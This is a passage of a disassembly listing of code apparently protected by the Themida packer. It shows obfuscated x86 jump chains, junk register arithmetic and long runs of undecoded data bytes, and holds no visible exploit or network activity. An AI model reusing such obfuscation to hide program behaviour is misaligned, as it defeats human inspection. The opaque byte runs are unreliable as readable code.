26075293h sub ebx, eax sub ebx, 26075293h add ebx, 67CC47ABh push esi mov esi, 30260C43h xor esi, 41943C16h shl esi, 2 push ecx mov ecx, 45B226C2h or esi, ecx pop ecx shl esi, 5 inc esi xor esi, 0F28FEA22h add ebx, esi mov esi, [esp] add esp, 4 pop small word ptr [eax] jmp loc_5500D0 ; --------------------------------------------------------------------------- loc_54C624: ; CODE XREF: Themida_:0054EEBAj push esp pop ebx add ebx, 4 sub esp, 4 mov [esp], edx mov edx, 4 add ebx, 6F1513DDh sub ebx, edx push ecx mov ecx, 6F1513DDh sub ebx, ecx pop ecx pop edx xor ebx, [esp] xor [esp], ebx jmp loc_54FA9F ; --------------------------------------------------------------------------- loc_54C654: ; CODE XREF: Themida_:0054DE13j mov esp, [esp] sub al, 0B8h add al, 0Fh sub al, 0C6h sub al, ch add al, 0C6h jmp loc_549BD7 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 1C870000h, 1C335C24h, 241C3124h, 3931E9h db 0 ; --------------------------------------------------------------------------- loc_54C681: ; CODE XREF: Themida_:0054F22Fj add esp, 4 jmp loc_54CF58 ; --------------------------------------------------------------------------- dd 5BACC581h, 0EF092A33h, 0FFF181E9h, 2434FFFFh, 0FFA9DCE9h dd 99B252FFh, 0C047EA80h, 0CAFE07E2h, 80A7E280h, 0D1889FEAh dd 5CA1E95Ah, 0D8280000h, 0FFA8B8E9h, 24048FFFh, 0FF9B41E9h dd 4FF781FFh, 810F432Ch, 0B51F2CF7h, 5FF82958h, 9A6ADF2Dh dd 52ACE97Fh, 1C870000h, 0EB815C24h, 4, 8B241C87h, 14892424h dd 0C6BCE924h, 0EFC0FFFFh, 80CFFE02h, 0F8281DEFh, 4D8285Bh dd 57B151FDh, 0FFAD7FE9h, 45F381FFh, 0E9042804h, 0FFFFD3B6h dd 405E089h, 83000000h, 43304E8h, 24043124h, 0E9240433h dd 20Ah ; --------------------------------------------------------------------------- loc_54C734: ; CODE XREF: Themida_:0054FFD0j add esp, 4 push small 4A3Fh mov [esp], ax push edx mov dh, 0F4h push ebx mov bl, dh mov al, bl pop ebx jmp loc_54A427 ; --------------------------------------------------------------------------- dd 2F1A0EBEh, 5E3AE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C75A: ; CODE XREF: Themida_:00551FCBj pop edx xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx jmp loc_54AEB6 ; --------------------------------------------------------------------------- loc_54C771: ; CODE XREF: Themida_:00550C67j add esp, 4 add ebp, 4 xor ebp, [esp] jmp loc_55193D ; --------------------------------------------------------------------------- loc_54C77F: ; CODE XREF: Themida_:0054ADF1j sub ebx, eax push esi mov esi, 50267858h not esi jmp loc_548942 ; --------------------------------------------------------------------------- dw 0F581h dd 9506818h, 0E983CD87h, 45CD87FFh, 0FFE0A0E9h, 0D7015AFFh dd 230DC781h, 34FF1A62h, 0C4835A24h, 243C8704h, 124248Bh dd 0E99C2404h, 280Dh, 240C8B66h, 0FFB306E9h, 4EC83FFh dd 0B8240489h, 65F556A7h, 34FFC131h, 24048B24h, 4C481h dd 98E90000h, 0B6FFFFBCh, 232CB0h, 0BD4E9F0h, 0C8B0000h dd 4C48124h, 81000000h, 4C1h, 7CA6800h, 1C890000h, 2BB24h dd 0D9290000h, 5BAAE9h, 0C9815800h, 622210F7h, 25E2BB53h dd 0F381194Bh, 4BF6063Eh, 525BD901h, 0CF4812BAh, 8BD1319Bh dd 0C4832414h, 583B2D04h, 0C8296F1Bh, 1B583B05h, 240C8B6Fh dd 6804C483h, 0B20h, 3780E9h, 240C3300h, 0FFB4D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C85D: ; CODE XREF: Themida_:0055122Cj xor ecx, 69277E6Eh add ecx, 5B0058C9h jmp loc_5523E7 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 2F87BD55h, 0D5F7026Ah, 0F706E5C1h, 0EDEE9DDh, 68560000h dd 552F1D9Bh, 0FFD079E9h, 48B66FFh, 82E95624h, 0F700005Ah dd 0E99C241Ch, 0FFFF9966h, 5A66D028h, 704D828h, 0FFDDABE9h dd 4C0166FFh, 0B8E90224h, 5B00004Eh, 5D786E2Dh, 698A050Dh dd 0D0291AB3h, 0B3698A2Dh, 6EBD551Ah, 10D5D78h, 3CA0E9E8h dd 0ED810000h, 163C1CBAh, 81D5F758h, 0BE3959CDh, 0E1C58155h dd 504FBA4Eh, 5B146BB8h, 0E9C5215Fh, 0FFFFE75Bh ; --------------------------------------------------------------------------- loc_54C8FC: ; CODE XREF: Themida_:00548A8Dj xor edi, [esp] xor [esp], edi jmp loc_55236B ; --------------------------------------------------------------------------- loc_54C907: ; CODE XREF: Themida_:005487F1j pop esi jmp loc_551F6E ; --------------------------------------------------------------------------- loc_54C90D: ; CODE XREF: Themida_:0054E24Cj sub esi, ecx mov ecx, [esp] add esp, 4 push esi jmp loc_54FEF2 ; --------------------------------------------------------------------------- dw 0C589h dd 8324048Bh, 0D5F704C4h, 0D104EDC1h, 0A3C581EDh, 55FA8FBBh dd 84CD4BDh, 14BE93Dh, 895C0000h, 5E542434h, 2D33E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C94A: ; CODE XREF: Themida_:00548209j mov esi, edx pop edx push ecx jmp loc_548EC5 ; --------------------------------------------------------------------------- db 0FFh a4Sea db '4$éeA',0 dw 6400h dd 0A7E9028Fh db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C963: ; CODE XREF: Themida_:005517B9j add esp, 4 jmp loc_54ECC0 ; --------------------------------------------------------------------------- dw 0FB01h dd 4C3815Fh, 87000000h, 8F5C241Ch, 248B2404h, 0C8856624h dd 9880E99Ch, 8957FFFFh, 0B09DE9E7h, 0E2C0FFFFh, 0DECA8006h dd 0C053F280h, 0F28006E2h, 51F28021h, 83D8EA80h, 896602ECh dd 82E92414h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9B3: ; CODE XREF: Themida_:0054D109j jnz loc_5493AB push ebp push edx mov edx, 7A7777B9h inc edx xor edx, 1D3C2189h mov ebp, edx pop edx sub esp, 4 mov [esp], esi push 40831422h mov esi, [esp] add esp, 4 push ecx mov ecx, 0FFFFFFFFh add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_549385 ; --------------------------------------------------------------------------- dd 0FF9811E9h, 240C33FFh, 24048F5Ch, 0E924248Bh, 3E8Ch dd 36D1C381h, 4DE96DB9h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA13: ; CODE XREF: Themida_:0054748Bj mov ecx, eax jmp loc_547AC9 ; --------------------------------------------------------------------------- dw 0FA01h dd 0FFCBD9E9h, 0E9DE30FFh, 4C1Dh, 8359CA01h, 148704EAh dd 0C895C24h, 91E95724h, 8300001Eh, 98E904C3h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CA43: ; CODE XREF: Themida_:0054D6FBj push edx mov dl, 2Ch xor dl, 0D4h inc dl jmp loc_54CAB1 ; --------------------------------------------------------------------------- dd 2D5BD801h, 4, 0E9240487h, 0FFFFD4B0h, 0E9028F66h, 0FFFF97A2h dd 0B60F665Ah, 52686600h, 4896614h, 9790E924h, 0EB81FFFFh dd 4, 5C241C87h, 1DB9E9h, 7CE58100h, 8132354Ah, 0D34B6BEDh dd 2E5C14Ah, 5B6E9h, 4C38100h, 0E9000000h, 10EBh, 0D8001604h dd 0FFB259E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CAB1: ; CODE XREF: Themida_:0054CA4Bj or dl, 0A5h xor dl, 4Ch xor ch, dl pop edx or dl, ch pop ecx jmp loc_54AB4B ; --------------------------------------------------------------------------- aXsq7 db 'XéQ7',0 align 4 loc_54CAC8: ; CODE XREF: Themida_:00547B8Fj push ebp jmp loc_548640 ; --------------------------------------------------------------------------- dw 7168h dd 0E900005Ch, 2A80h, 4EC81h, 34890000h, 0E0E95324h, 50FFFFDAh dd 0FFBC94E9h, 5AD789FFh, 114EE981h, 0E981147Ah, 15BE38DDh dd 0C181F901h, 15BE38DDh, 114EBD55h, 0E901147Ah, 0D7F7E95Dh dd 8B58FFFFh, 240C8B01h, 4C481h, 56520000h, 1BEh, 148B5600h dd 5947E924h, 0FABD0000h, 0E960EB52h, 16DBh, 2434FF54h dd 0E1895159h, 4BA52h, 0D1010000h, 39E9h, 0EA805800h, 8BD030D2h dd 0C4832414h, 0E9C33004h, 2F94h, 0BD242C89h, 4, 2C8BEA01h dd 4C48324h, 4C281h, 14870000h, 0C3315C24h, 692768h, 0ACFAE900h dd 505AFFFFh, 0FFEA6AE9h, 0F9F381FFh, 8155AB49h, 0EA02CC3h dd 5BDF8993h, 9EE9F801h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CBA3: ; CODE XREF: Themida_:00548664j ; Themida_:loc_54DD0Dj ... push dword ptr [esp] push dword ptr [esp] jmp loc_54AF1E ; --------------------------------------------------------------------------- loc_54CBAE: ; CODE XREF: Themida_:00551238j mov ecx, 4 sub edi, ecx jmp loc_54AC87 ; --------------------------------------------------------------------------- dw 0D42Dh dd 0E9081B2Fh, 35FBh, 27F4EB81h, 0FB0160FCh, 3CCCE9h, 2434FF00h dd 8B2434FFh, 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h dd 0FFECE6E9h, 4BAFFh, 0EF810000h, 249145C5h, 0BB53D701h dd 46707192h, 0FFA4ECE9h, 58C209FFh, 29C968h, 24048900h dd 0FFD2A9E9h, 36E956FFh, 8100001Bh, 4C4h, 95E0E900h, 0F66FFFFh dd 0D6E900B6h, 8FFFFFD0h, 895C2404h, 12E92414h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC3F: ; CODE XREF: Themida_:0054BA40j shl esi, 1 shr esi, 6 add esi, 303B3D9Fh jmp loc_54CDF1 ; --------------------------------------------------------------------------- db 2Dh dd 402A710Fh, 207EEF81h, 0A4E91450h, 83FFFFAFh, 67E9FFEAh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CC67: ; CODE XREF: Themida_:00547972j pop edx and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 18h xor eax, ecx push eax push 5515h mov [esp], ebp jmp loc_54B217 ; --------------------------------------------------------------------------- aS2 db 'ÑêéÇ2',0 dd 38B85000h, 0BE20F705h, 0DF08FAC8h, 8958C601h, 348B3872h dd 0DFE95624h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CCA7: ; CODE XREF: Themida_:00547CB2j push dword ptr [esp] pop ebx push esi mov esi, esp jmp loc_550C8B ; --------------------------------------------------------------------------- loc_54CCB3: ; CODE XREF: Themida_:0054ACC4j shl edx, 1 sub esp, 4 mov [esp], eax jmp loc_54819B ; --------------------------------------------------------------------------- dd 5BF98859h, 0BA52h, 0EA810000h, 6507785h, 0C281DA01h dd 6507785h, 7DE90A88h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CCDF: ; CODE XREF: Themida_:005528A7j push edi not dword ptr [esp] jmp loc_549DE6 ; --------------------------------------------------------------------------- dd 0E9243C31h, 0C25h ; --------------------------------------------------------------------------- loc_54CCF0: ; CODE XREF: Themida_:005517D4j mov ch, bl pop ebx mov ah, ch pop ecx sub bl, ah pop ax sub esp, 2 mov [esp], dx push eax mov ah, 52h jmp loc_54B0DE ; --------------------------------------------------------------------------- dd 24048B66h, 6EB268h, 240C8900h, 0FFFE1BE9h, 0E0CB80FFh dd 2C12EB80h, 0E9D8282Ch, 0FFFFD9CCh, 31240C33h, 0C33240Ch dd 24248B24h, 0FF2434FFh, 815A2434h, 4C4h, 5E545600h, 0FFC08AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CD4D: ; CODE XREF: Themida_:0054F643j or ebp, edi pop edi and ebp, 59FE6530h xor ebp, 48984434h push edx mov edx, ebp mov eax, edx pop edx pop ebp add eax, edi add [eax], ebp push dword ptr [esp] pop eax jmp loc_54E03E ; --------------------------------------------------------------------------- dd 9C240409h, 0FF9491E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CD79: ; CODE XREF: Themida_:0054ABBFj push ebp push dword ptr [esp+4] pop ebp jmp loc_548A3F ; --------------------------------------------------------------------------- dd 0C8BCD31h, 4C48124h, 81000000h, 2B4E4EC5h, 238A2DFCh dd 0E8290C7Fh, 7F238A05h, 0C3815D0Ch, 60F4564h, 0C7EEB81h dd 0BA52594Ch, 56726B4Ah, 815AD329h, 0A6347BC3h, 9BC38178h dd 1456B33h, 9BEB81C3h, 51456B33h, 963422B9h, 1ACEE975h dd 81B90000h, 0E93FD441h, 51F0h, 37DFBE56h, 0F2317CB1h dd 4EC835Eh, 0FFBD9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CDF1: ; CODE XREF: Themida_:0054CC4Aj xor esi, 55D791E4h xor edx, esi pop esi push 312Dh mov [esp], esi mov esi, 25541A37h sub esi, 0C029EBBCh add edx, esi pop esi sub esp, 4 mov [esp], eax mov eax, 31C06BF8h shr eax, 8 xor eax, 54324165h shl eax, 3 neg eax shr eax, 7 add eax, 6E0C62C4h xor edx, eax pop eax push edx jmp loc_551C07 ; --------------------------------------------------------------------------- dd 69BFBD55h, 0EE215D61h, 5052555Dh, 7A59C568h, 24048B05h dd 4C481h, 0CA0D0000h, 0D39C443h, 51721E5Dh, 0AB7C0935h dd 58C28960h, 4202E2C1h, 3BD8F281h, 30E94ECEh, 66FFFFB9h dd 68240C8Bh, 3A74h, 367CE9h, 24348700h, 0FF24248Bh, 34FF2434h dd 2434FF24h, 0FD6859h, 2C890000h, 81E58924h, 4C5h, 4C58300h dd 0FFC35CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CEAD: ; CODE XREF: Themida_:005487C6j shr ecx, 6 push 3493h mov [esp], edx mov edx, ebx push edx push 4479h mov [esp], edi push ebp mov ebp, 3DA11B93h jmp loc_5515B0 ; --------------------------------------------------------------------------- dw 0E2C1h dd 2EEA8106h, 31566332h, 2434FFD0h, 8124148Bh, 4C4h, 0E3895300h dd 4C381h, 93680000h, 8900005Eh, 8BE92404h, 81000021h dd 0BF039AC3h, 51536629h, 0F669B450h, 0E8C480DCh, 2687E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CF12: ; CODE XREF: Themida_:00550009j add esp, 4 pop dword ptr [esp] pop esp or eax, eax jnz loc_54E699 push edi mov edi, 4991617Bh push ebx mov ebx, 76080DBCh sub ebx, 76080DBDh sub edi, ebx pop ebx sub esp, 4 mov [esp], ecx mov ecx, 72D95F22h neg ecx or ecx, 172D4391h not ecx inc ecx push ebp jmp loc_54E593 ; --------------------------------------------------------------------------- loc_54CF52: ; CODE XREF: Themida_:0054BA1Aj push ebp jmp loc_5497B9 ; --------------------------------------------------------------------------- loc_54CF58: ; CODE XREF: Themida_:0054C687j pop ecx sub al, bh pop bx jmp loc_54DACF ; --------------------------------------------------------------------------- dw 835Ah dd 0C8704C1h, 0C4815C24h, 4, 0FF9295E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CF75: ; CODE XREF: Themida_:00550A82j pop edi push ebp jmp loc_54864A ; --------------------------------------------------------------------------- dd 0E924048Fh, 310Bh, 4240481h, 59000000h, 5B05BF57h, 0F7815914h dd 670D6B81h, 3080F781h, 0F9013E19h, 0FFB269E9h, 240C89FFh dd 60433CB9h, 32E95335h, 83000028h, 148904ECh, 8095B224h dd 0F2804DF2h, 0A917E96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFC6: ; CODE XREF: Themida_:00550ED4j add esp, 4 push esi push ecx push 26352735h pop ecx push ecx jmp loc_54A448 ; --------------------------------------------------------------------------- db 68h dd 5EF03334h, 0FFA33DE9h, 24148BFFh, 6804C483h, 7CA8h dd 0FF243C89h, 5F042474h, 8B24048Fh, 0F7662424h, 0EC8151F9h dd 4, 81242489h, 42404h, 0DFE90000h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D013: ; CODE XREF: Themida_:005527AEj sub ecx, 2 xchg ecx, [esp] jmp loc_548AA6 ; --------------------------------------------------------------------------- dd offset loc_420F68 dw 0E900h dd 0FFFFC4A6h, 0E4E4E95Ah, 0E789FFFFh, 4C781h, 0C7830000h dd 41A2E904h, 0C890000h, 2474FF24h, 48F5904h, 89665C24h dd 0A9E92404h, 81000034h, 0C3CB2AEDh, 3E45E98Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D05E: ; CODE XREF: Themida_:0054EC3Cj mov [esp], ebx push dword ptr [esp] pop eax add esp, 4 jmp loc_55017E ; --------------------------------------------------------------------------- loc_54D06D: ; CODE XREF: Themida_:0054B8F0j add esp, 4 inc dword ptr [esp] pushf jmp loc_54620A ; --------------------------------------------------------------------------- db 5Ah, 0F7h, 0D7h dd 8108EFC1h, 83E5EFC7h, 5FFA017Dh, 57095B5Dh, 77E95A1Ch dd 8BFFFF91h, 6FE92424h, 8BFFFF91h, 94682424h, 89000076h dd 0F268240Ch, 89000044h, 0E9532404h, 420Ah, 5E2434FFh dd 0E9E28952h, 35A3h, 0F8E9C701h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D0C7: ; CODE XREF: Themida_:0054D9ACj sub edx, esi pop esi and eax, edx mov edx, [esp] add esp, 4 jmp loc_54EAAB ; --------------------------------------------------------------------------- db 0C1h dd 0C28105E2h, 31C7A27Ah, 15AD731h, 243C8BF8h, 6804C483h dd 5003h, 0FF9FABE9h, 0B6E957FFh db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D0FB: ; CODE XREF: Themida_:0054E98Cj add esp, 4 pop dword ptr [esp] mov esp, [esp] or eax, eax jmp loc_54C9B3 ; --------------------------------------------------------------------------- loc_54D10E: ; CODE XREF: Themida_:005489EDj mov [esp], ebx push esp pop ebx push edi mov edi, 6AAD6D3Ah not edi jmp loc_54AB3F ; --------------------------------------------------------------------------- dd offset dword_445750+9218h dd 24148900h, 42474FFh, 6824148Bh, 5CCBh, 54243489h, 4C6815Eh dd 83000000h, 348704C6h, 0C5E95C24h, 5000020h, 4, 4EC81h dd 3C890000h, 2BF24h, 0F8010000h, 3283E95Fh, 0BBE0000h dd 291E7C2Ch, 99D1E9F0h, 2C89FFFFh, 922EE924h, 0F380FFFFh dd 4E104D6h, 2CD8288Eh, 0FFE12C8Eh, 0E95B2434h, 0FFFFACC4h dd 4240483h, 1ABF575Bh, 8127BF63h, 0E22B36CFh, 4EC8375h dd 0BE243489h, 0FFFFFFFFh, 64E9F729h, 0FFFFFFD5h, 53582434h dd 0E2E9E389h, 58000026h, 405h, 4C08300h, 31240433h, 67E92404h dd 1FFFFF0h, 0C58359CDh, 242C8702h, 6624248Bh, 0E924048Bh dd 0CF4h, 81240401h, 2DCC2404h, 466853D2h, 89000050h, 0BE56241Ch dd 550D1CFDh, 0E95EF389h, 0FFFFA6B2h, 56240489h, 291E7668h dd 0C6815E53h, 0ACD6E18Bh, 201EE9h, 59CF2900h, 2570E957h dd 0C4810000h, 4, 8904EC83h, 0E0892404h, 405h, 1DBB5300h dd 0E96D372Bh, 0FFFFE753h, 4EC81h, 53E90000h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D24F: ; CODE XREF: Themida_:0054BCEFj ; Themida_:0054F82Fj push ebx push ebx mov ebx, 5ED9410Bh xor [esp+4], ebx pop ebx push dword ptr [esp] mov eax, [esp] sub esp, 4 jmp loc_54F90B ; --------------------------------------------------------------------------- loc_54D26C: ; CODE XREF: Themida_:0054B0E1j sub bl, dh pop dx xor al, bl mov bx, [esp] add esp, 2 push 5C0h jmp loc_54EB8B ; --------------------------------------------------------------------------- dw 0BB53h dd 7407C89h, 0FFD7A0E9h, 2434FFFFh, 4C4815Fh, 56000000h dd 7356851h, 815952D2h, 0D20731F1h, 59CE8952h, 815EF701h dd 4EFh, 243C8700h, 3EA5E95Ch, 0FB010000h, 0EE59E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D2C6: ; CODE XREF: Themida_:0054BDE7j mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp shr ecx, 7 push 1058h mov [esp], ebp push eax push ebx pop eax mov ebp, eax jmp loc_5489B6 ; --------------------------------------------------------------------------- dw 0C800h dd offset dword_5497CC+1Dh dd 0E9516600h, 0FFFFB47Bh, 5A2434FFh, 0B6768h, 243C8900h dd 0B968E789h, 89000009h, 31BD242Ch, 0E96A3E76h, 4B0Dh dd 5255525Ah, 242DD868h, 0E2815A5Fh, 28EE43B0h, 874EEA81h dd 0D589A2C8h, 0E538BA5Ah, 1DE90D57h db 3 dup(0) ; --------------------------------------------------------------------------- loc_54D343: ; CODE XREF: Themida_:0054921Dj add eax, 4 xor eax, [esp] jmp loc_54A674 ; --------------------------------------------------------------------------- dw 0C280h dd 0E9D03010h, 1A2Bh, 0E9505153h, 48E4h, 66E9EA01h, 81000040h dd 0F5C257C3h, 0E9D83100h, 0FFFFB09Fh, 6F76BD55h, 454D7A8Fh dd 6C4CC581h, 0ED814D63h, 4C077F9Ah, 0F797FD87h, 0FD8797D0h dd 0A3D3ED81h, 0EF018414h, 2C7815Dh, 57000000h, 42474FFh dd 24048F5Fh, 8424248Bh, 71E99CC8h, 1000045h, 20E8E9CFh dd 0F590000h, 48FC0B6h, 8E44E987h, 2304FFFFh, 0EC815A66h dd 4, 0E9240C89h, 0FFFF940Ah, 513BFABFh, 6EFC10Ch, 6973CF81h dd 0EF816BCBh, 60B71197h, 0FFFECDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D3F1: ; CODE XREF: Themida_:0054B444j push ecx push edx mov dl, 0AAh mov cl, dl pop edx jmp loc_5521E8 ; --------------------------------------------------------------------------- loc_54D3FD: ; CODE XREF: Themida_:0054F896j xchg bh, cl jmp loc_54E1A2 ; --------------------------------------------------------------------------- dd 0F501D035h, 58C70175h, 3302C783h, 0D1E9243Ch, 81FFFFF8h dd 4C4h, 74FF5700h, 5FE90424h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D427: ; CODE XREF: Themida_:00548645j sub ebp, 2C404172h shr ebp, 5 push edi mov edi, 56731731h xor edi, 72D600E2h dec edi jmp loc_549D2B ; --------------------------------------------------------------------------- dw 6856h dd 15E09E1Ah, 0E9F1315Eh, 31A5h ; --------------------------------------------------------------------------- loc_54D450: ; CODE XREF: Themida_:005527FDj pop esp mov [esp], eax jmp loc_551BE8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aYsb db 'Yé/',0 align 2 dw 0D828h dd 1C29E9h db 0 ; --------------------------------------------------------------------------- loc_54D469: ; CODE XREF: Themida_:0054C1C8j pop ebp add ebp, 4 add ebp, 4 jmp loc_547397 ; --------------------------------------------------------------------------- loc_54D478: ; CODE XREF: Themida_:0054AD1Fj pop esp jmp loc_5486A1 ; --------------------------------------------------------------------------- dw 8141h dd 491B06F1h, 38F18120h, 1C9B5C6h, 0E95259CBh, 0FFFFA823h dd 0B186E953h, 0C481FFFFh, 4, 0E404C828h, 2D0BE9h, 3564BA00h dd 0D00156F5h, 4C35405Ah, 0E96D9526h, 0FFFFB949h ; --------------------------------------------------------------------------- loc_54D4BC: ; CODE XREF: Themida_:0054808Ej pop dword ptr [esp] mov esp, [esp] jmp loc_548454 ; --------------------------------------------------------------------------- loc_54D4C7: ; CODE XREF: Themida_:0054FEF9j mov ebp, [esp] add esp, 4 add ebp, 9E9477Bh jmp loc_54903F ; --------------------------------------------------------------------------- db 87h dd 0E95C241Ch, 0FFFFFE83h, 7DA1C381h, 0C15A00DFh, 0C38107E3h dd 6A0C728Ah, 0E903E3C1h, 4CCAh, 6624248Bh, 0E99CC83Bh dd 0FFFF8D02h, 8B2434FFh, 0C4812414h, 4, 815A5452h, 4ECh dd 0F63EE900h, 0E8C1FFFFh, 3D960503h, 0C50173C1h, 5DE80158h dd 0ED67582Dh, 58C601C8h, 4C681h, 34870000h, 0B70F5C24h dd 0AB1BE9C8h, 0C181FFFFh, 78F86EA5h, 8CC18141h, 0C13C790Bh dd 0F18102E1h, 0E1AAAF41h, 3492C981h, 0D1F730D5h, 0FFC18141h dd 81FFFFFFh, 2985F9F1h, 59CA01F0h, 505AD301h, 0FFA68FE9h dd 88FC88FFh, 0B914E9E6h, 8B66FFFFh, 2568240Ch, 89000044h dd 58542404h, 0FFFBAEE9h, 240C8BFFh, 3068E9h db 0 ; --------------------------------------------------------------------------- loc_54D5A5: ; CODE XREF: Themida_:00548F79j shr esi, 5 sub esi, 22C0500Bh push ebp mov ebp, 6D01CC9h or ebp, 134F39C5h shr ebp, 1 neg ebp neg ebp dec ebp xor ebp, 31768C1Ch sub edx, ebp pop ebp jmp loc_54E429 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 4C78104h, 0E9000000h, 0FFFF9854h, 89533104h dd 0DCBA52E3h, 4A3D1B08h, 9B3F281h, 0C2810975h, 10591B13h dd 64C8CA81h, 0F28112CFh, 56CF7CFFh, 148BD301h, 4C48124h dd 83000000h, 1C8702EBh, 89665C24h, 53662414h, 88BAB151h dd 0E95059CFh, 0FFFFFF59h, 0B1EBE95Ch, 8B59FFFFh, 0C481242Ch dd 4, 2C281h, 14870000h, 24248B24h, 24048B66h, 50FE68h dd 24148900h, 3341E954h, 895C0000h, 148B2434h, 4C48324h dd 148BD789h, 0E9545724h, 0FFFFA01Bh ; --------------------------------------------------------------------------- loc_54D66C: ; CODE XREF: Themida_:0054BC95j mov ecx, [esp] push 7D5Bh mov [esp], edi mov edi, esp push ebx mov ebx, 13013B24h shl ebx, 2 xor ebx, 0B0D75F0h add ebx, 0B8F666A4h add edi, ebx pop ebx push eax mov eax, 4 jmp loc_54B01E ; --------------------------------------------------------------------------- dd 9549F581h, 0EA898901h, 83242C8Bh, 8EE904C4h, 31000028h dd 0E99C2404h, 0FFFF8B52h, 9D1C77FFh, 14D35966h, 43E99C24h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D6C7: ; CODE XREF: Themida_:0054A62Aj push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] xor eax, ebp xor ebp, eax jmp loc_54F193 ; --------------------------------------------------------------------------- loc_54D6DB: ; CODE XREF: Themida_:005488B8j pop cx or dl, ah pop eax jmp loc_552249 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFAB27h ; --------------------------------------------------------------------------- loc_54D6F0: ; CODE XREF: Themida_:005478B5j push ecx jmp loc_547908 ; --------------------------------------------------------------------------- loc_54D6F6: ; CODE XREF: Themida_:00546D75j sub ch, 0C4h not ch jmp loc_54CA43 ; --------------------------------------------------------------------------- dd 93E9E389h, 0ADFFFF8Ch, 0FFA851E9h, 0E907B2FFh, 0FFFFF190h dd 8D48E9ADh, 0DDF7FFFFh, 8B39E94Dh, 0D800FFFFh, 0FFBD7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D729: ; CODE XREF: Themida_:0055107Bj add edi, esi sub edi, 24A52BC1h jmp loc_551B2F ; --------------------------------------------------------------------------- dw 0F005h dd 0C11D767Eh, 1A3503E8h, 8953BE02h, 0AA6CE9C5h, 8153FFFFh dd 4ECh, 24148900h, 314FE9h db 0 ; --------------------------------------------------------------------------- loc_54D759: ; CODE XREF: Themida_:0054A87Cj add ebp, 4 xchg ebp, [esp] jmp loc_548571 ; --------------------------------------------------------------------------- dd 0D3F7DD87h, 0C581DD87h, 9A8BE205h, 0FFBEEAE9h, 74FF53FFh dd 8F5B0424h, 1E92404h, 0BFFFFFD6h, 2CCE2C3Eh, 1EF834Fh dd 0D337E947h, 8758FFFFh, 248B243Ch, 9FB4E924h, 0C381FFFFh dd 529A4A77h, 400AC381h, 0A4E916B7h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D7AF: ; CODE XREF: Themida_:00550F3Cj sub ebx, 51C15F77h add ebx, eax add ebx, 51C15F77h jmp loc_552257 ; --------------------------------------------------------------------------- dw 48Dh aZhdd db '‡hdd',0 align 2 dw 489h dd 8A38E924h, 0C781FFFFh, 73E82282h, 0FFCE65E9h, 405FFh dd 4870000h, 0C6815C24h, 4, 1738E9h, 72D4BD00h, 5045197Bh dd 0B4576B8h, 42D72D30h, 0E9485726h, 0FFFFB240h, 0C681E689h dd 4, 4C681h, 34870000h, 0C4835C24h, 29C38104h, 8136A06Eh dd 0D62C79EBh, 51C30136h, 40BD5552h, 0F7712129h, 97CD81D5h dd 81029835h, 333005C5h, 0E5E5813Bh, 8130CB2Ah, 5869CDCDh dd 0B4F58156h, 89608C47h, 0D1895DEAh, 59CB015Ah, 10576850h dd 0C890000h, 4931B924h, 91E90D70h, 89FFFFD8h, 89502414h dd 0A902E9E0h, 481FFFFh, 3A09CE24h, 0E9815952h, 523A09CEh dd 0E924348Bh, 0FFFF9AFFh, 3CBAh, 75656800h, 3C890000h dd 0AF9E924h, 4050000h, 87000000h, 0E95C2404h, 0FFFFC89Dh dd 24048B66h, 4C9968h, 24348900h, 0C681E689h, 4, 22FEE9h db 0 ; --------------------------------------------------------------------------- loc_54D8C9: ; CODE XREF: Themida_:0054776Fj xchg ecx, [esp] pop esp sub [edi+24h], eax jmp loc_548D37 ; --------------------------------------------------------------------------- loc_54D8D5: ; CODE XREF: Themida_:005518E4j push dword ptr [esp] pop eax sub esp, 4 jmp loc_5494B6 ; --------------------------------------------------------------------------- loc_54D8E1: ; CODE XREF: Themida_:00548A3Aj add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_550E94 ; --------------------------------------------------------------------------- loc_54D8EC: ; CODE XREF: 